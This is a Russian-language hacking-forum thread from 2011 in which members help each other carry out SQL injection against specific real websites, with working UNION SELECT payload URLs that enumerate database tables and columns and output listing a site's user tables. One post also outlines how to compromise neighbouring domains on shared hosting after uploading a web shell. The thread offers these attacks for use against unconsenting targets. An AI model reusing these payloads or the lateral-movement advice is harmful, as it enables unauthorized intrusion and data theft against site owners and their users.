 |
|
09.05.2011, 16:13
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922
Репутация:
75
|
|
http://www.animeacademy.com/finalrevdisplay.php?id=34%27%20union%20select%201, 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,user%28%29 ,19,20%20%20from%20%20AnimTest%20%20where%201%20=% 20%27
как вывести какуюнибуть инфу????
|
|
|
09.05.2011, 16:33
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379
Репутация:
3812
|
|
Сообщение от qaz
http://www.animeacademy.com/finalrevdisplay.php?id=34%27%20union%20select%201, 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,user%28%29 ,19,20%20%20from%20%20AnimTest%20%20where%201%20=% 20%27
как вывести какуюнибуть инфу????
замени 34' на -1'
__________________
|
|
|
|
09.05.2011, 17:16
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от +toxa+
замени 34' на -1'
заменил, пишет Error: Unable to seek data row: :
|
|
|
|
09.05.2011, 18:37
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512
Репутация:
0
|
|
Сообщение от qaz
заменил, пишет Error: Unable to seek data row: :
Запрос:
Код:
http://www.animeacademy.com/finalrevdisplay.php?id=-1'+union+select+1,group_concat(concat(table_schema,'.',table_name)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+information_schema.tables+where+table_name+like+'%user%'+--+
Результат:
Код:
information_schema.USER_PRIVILEGES, animeacademy.attachmentcategoryuser, animeacademy.poll_user, animeacademy.user, animeacademy.useractivation, animeacademy.userban, animeacademy.userchangelog, animeacademy.usercss, animeacademy.usercsscache, animeacademy.userfield, animeacademy.usergroup, animeacademy.usergroupleader, animeacademy.usergrouprequest, animeacademy.userlist, animeacademy.usernote, animeacademy.userpromotion, animeacademy.usertextfield, animeacademy.usertitle, animeacademy2.poll_user
|
|
|
|
09.05.2011, 22:57
|
|
Постоянный
Регистрация: 17.04.2011
Сообщений: 638
Провел на форуме:
149611
Репутация:
81
|
|
Почему когда например делаешь такой запрос:
/index.php?/\/\/\.ааауук
То всё нормально открывается, и адрес остаётся таким же?!
|
|
|
|
09.05.2011, 23:08
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от Osstudio
Почему когда например делаешь такой запрос:
/index.php?/\/\/\.ааауук
То всё нормально открывается, и адрес остаётся таким же?!
о_0
А ты чего ждешь? После знака ? идут GET параметры, пересылаемые скрипту, но в твоем случае нет равенства, поэтому он вообще никак не реагирует. Если в скрипте была бы обработка таких данных, то как-нибудь бы и отреагировал скрипт.
Прочитай RFC по HTTP протоколу, много нового узнаешь =\
http://localhost/version.php?blablabla
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Код:
Array ( [blablabla] => )
Вот если бы было к примеру условие: если в REQUEST входит blablabla то include('blablabla.php'); То да, что-то изменилось, но раз ничего такого нету, то данные никак не обрабатывается и не несут никаких изменений в логику работы скрипта.
|
|
|
|
09.05.2011, 23:36
|
|
Постоянный
Регистрация: 17.04.2011
Сообщений: 638
Провел на форуме:
149611
Репутация:
81
|
|
Что не так?!
http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,group_co ncat%28table_name+separator+0x3a%29+from+informati on_schema.tables+where+table_schema=0x646238353038 61--
|
|
|
|
09.05.2011, 23:38
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от dotMX
Добрый вечер.
Сразу извинюсь за глупый вопрос.
Залил шелл на 1 сайт, полные права на изменение файлов и php mode
ff. В папке domains лежат еще несколько доменов, но к ним нет доступа.
Вопрос:
Можно ли как-нибудь эти домены поиметь? В прошлом много раз читал, как ломают нужные домены через "соседей".Не уверен, что у "соседей" были рутовые права на весь сервер, а проверить этого не могу(тупо не помню где читал статьи).
У соседей 99% не будет никаком сервере рутовых прав о_0
Ломают через соседей так: нужен сайт1, пробили по ревип и там есть сайт2, похекали и залили шелл на сайт2 и там либо кривые права и есть доступ к сайт1, либо рутать, либо через сессии.
А у тебя права не кривые, т.ч. либо рутай, либо через сессии если если доступ конечно, а он обычно есть. Не вижу смысла в этой теме рассказывать про то как поиметь через сессии, ищи по форуму.
Сообщение от Osstudio
Что не так?!
http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,group_co ncat%28table_name+separator+0x3a%29+from+informati on_schema.tables+where+table_schema=0x646238353038 61--
http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,unhex(he x(table_name))+from+information_schema.tables+wher e+table_schema=0x64623835303861--+
|
|
|
|
09.05.2011, 23:52
|
|
Постоянный
Регистрация: 17.04.2011
Сообщений: 638
Провел на форуме:
149611
Репутация:
81
|
|
Сообщение от Tigger
У соседей 99% не будет никаком сервере рутовых прав о_0
Ломают через соседей так: нужен сайт1, пробили по ревип и там есть сайт2, похекали и залили шелл на сайт2 и там либо кривые права и есть доступ к сайт1, либо рутать, либо через сессии.
А у тебя права не кривые, т.ч. либо рутай, либо через сессии если если доступ конечно, а он обычно есть. Не вижу смысла в этой теме рассказывать про то как поиметь через сессии, ищи по форуму.
http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,unhex(he x(table_name))+from+information_schema.tables+wher e+table_schema=0x64623835303861--+
А разделитель (например ":") не надо, потому-что только одна таблица?!
И как тогда дальше?! Как здесь другую кодировку сделать:
http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,group_co ncat%28column_name+separator+0x3a%29+from+informat ion_schema.columns+where+table_name=0x466171--+
|
|
|
|
10.05.2011, 00:00
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от Osstudio
А разделитель (например ":") не надо, потому-что только одна таблица?!
И как тогда дальше?! Как здесь другую кодировку сделать:
http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,group_co ncat%28column_name+separator+0x3a%29+from+informat ion_schema.columns+where+table_name=0x466171--+
http://www.yotaservis.ru/goods.php?typeId=1+and+1=0+union+select+1,group_co ncat(unhex(hex(column_name))+separator+0x3a)+from+ information_schema.columns+where+table_name=0x4661 71--+
не?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
